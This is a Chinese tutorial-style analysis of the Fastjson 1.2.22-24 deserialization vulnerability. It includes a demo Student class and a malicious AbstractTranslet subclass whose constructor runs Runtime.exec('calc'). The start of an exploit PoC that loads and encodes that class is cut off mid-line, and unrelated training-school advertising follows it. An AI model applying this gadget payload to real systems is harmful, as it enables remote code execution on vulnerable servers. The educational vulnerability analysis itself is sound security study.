Fastjson 1.2.22-24 反序列化漏洞分析

 最近在学习Java安全,感觉反序列化很牛皮,所以就来学习一哈。我Java水平不咋地,文章如果有错请指正。

开始

0x00 简单介绍

介绍:FastJson是一款由阿里开发的JSON库
影响版本:1.2.22-24
官方通告:https://github.com/alibaba/fastjson/wiki/security_update_20170315
补丁:https://github.com/alibaba/fastjson/commit/d075721cf396d5cb70e24c824b901e3a9a5b342b

FastJson的简单使用

先通过一个简单的demo来熟悉一下FastJson的基本操作。首先创建一个Student类,Student.java:

package ka1n4t.test;  public class Student {     public String name;     private int age;      public String getName() {         return name;     }      public void setName(String name) {         this.name = name;     }      public int getAge() {         return age;     }      public void setAge(int age) {         this.age = age;     } }

Students有一个公有属性name和一个私有属性age。下面使用一个测试类,将json字符串反序列化成Student对象,learnFJ.java:

package ka1n4t.test;   import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.JSONObject;  public class learnFJ {     public static void main(String args[]) {         String text = "{\"@type\":\"ka1n4t.test.Student\",\"name\":\"ZhangSan\",\"age\":123}";         Student obj1 = JSON.parseObject(text, Student.class, Feature.SupportNonPublicField);         System.out.println(obj1.getName());     } }

结果:

0x01 原理分析

分析POC

先看一下用于反序列化的恶意类evilClass1.java:

package ka1n4t.poc;  import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  import java.io.IOException;  public class evilClass1 extends AbstractTranslet/*ka1n4t*/ {       public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {     }       public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {      }      public evilClass1() throws IOException {         Runtime.getRuntime().exec("calc");     }      public static void main(String[] args) throws IOException {         evilClass1 helloworld = new evilClass1();     } }

其中的构造方法是用exec弹个计算器。看下poc,vulApp1.java:

package ka1n4t.poc;  import org.apache.commons.io.IOUtils; import org.apache.commons.codec.binary.Base64; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException;  public class vulApp1 {      public static String readClass(String cls){         ByteArrayOutputStream bos = new ByteArrayOutputStream();         try {             IOUtils.copy(new FileInputStream(new File(cls)), bos);         } catch (IOException e) {             e.printStackTrace();         }          String resu
                    
50000+
5万行代码练就真实本领
17年
创办于2008年老牌培训机构
1000+
合作企业
98%
就业率

联系我们

电话咨询

0532-85025005

扫码添加微信